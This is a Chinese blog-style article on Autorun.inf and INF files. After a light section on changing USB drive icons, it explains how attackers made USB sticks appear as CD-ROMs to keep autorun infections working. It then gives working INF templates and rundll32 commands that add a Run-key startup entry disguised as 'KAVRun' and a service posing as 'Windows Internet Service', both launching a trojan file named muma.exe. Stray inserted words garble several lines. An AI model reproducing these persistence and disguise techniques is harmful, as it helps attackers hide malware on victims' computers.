关于Autorun.inf文件,先来说一点大家感兴趣的事。我看到有写黑客技术的头条号作者写的水文,都是教大家用来改下U盘图标,把U盘图标改成女朋友头像,送给女朋友,制造一个浪漫惊喜。具体做法就是把女朋友的图像用画图打开,另存为BMP后缀,然后再改为ICO后缀放在U盘根目录,然后在U盘根目下写一个Autorun.inf文件,文件内容如下图。
然后重新插下U盘,U盘在电脑里的图标就变了,变成女朋友头像了。形成的效果类似下图。
这个方法不仅能改U盘,其它盘符也能改的。如果你实在不会改,你去下载一个U盘电脑 美化精灵是一样的效果。
像这样的文章都能混个上万的阅读量,我不屑为之,再说我也没有女朋友。
我们来说点严肃的事,Autorun.inf的具体作用。
一、Autorun.inf自动播放
在早期的互联网发展中,可移动存储介质(软盘、U盘等)有自动播放功能,插入就能立即弹出安装程序,在可移动存储介质的根目录下的autorun.inf文件就负责自动播放的功能,如下图所示。
微软后来提供了KB971029补丁,彻底阻断了USB的自动运行,对利用该手法进行传播的病毒进行了有效的抑制。黑客后后来想到的方法就是让USB被系统识别为光盘,那么写在USB中的病毒文件便能像写在光盘中一样被自动执行。操作其实也很简单,主要分为两个步骤:1. 使用量产工具将USB量产为CD-ROM光驱;2. 将autorun.inf文件和病毒文件制作成ISO文件写入U盘。使用该方法即可成功骗过操作系统,使USB的autorun攻击依旧有效。
二、使用Autorun.inf修改注册表
写一个c:/reg.inf文件,增加注册表启动项,代码如下:
[Version]
Signature=\"$WINDOWS 电脑 NT$\"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun,0x00000000,c:/muma.exe
然后我们运行rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
就可以增加一个键为KAVRun,值为c:/muma.exe的注册表项了。
删掉刚才加的注册表启动项,c:\reg.inf内容如下:
[Version]
Signature=\"$WINDOWS NT$\"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_DelReg_Name]
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
运行命令,rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf就可以删掉了。
几点说明:
[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表电脑示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。关于inf文件的详细信息,可以参考DDK帮助文档。
InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
inf文件中的项目都是大小写不敏感的。
三、使用Autorun.inf增加一个服务
写一个srv.inf,内容如下:
[Version]
Signature=\"$WINDOWS NT$\"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 电脑 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\muma.exe
然后执行命令,会增加一个名字为inetsvr的服务。
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf
几点说明:
ServiceType表示服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
StartType表示启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
ErrorControl表示错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
ServiceBinary里的服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
删除刚才增加的服务,写一个dsrv.inf,内容如下:
[Version]
Signature=\"$WINDOWS NT$\"
[DefaultInstall.Services]
DelService=inetsvr
执行完rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 电脑c:/dsrv.inf就会删掉了。
INF的具体参数是请查看DDK相关资料。
我写得这些,只是让你对INF文件有个明确的概念,知道它是做什么用的,如果你没有女朋友就研究一下这个吧。
电脑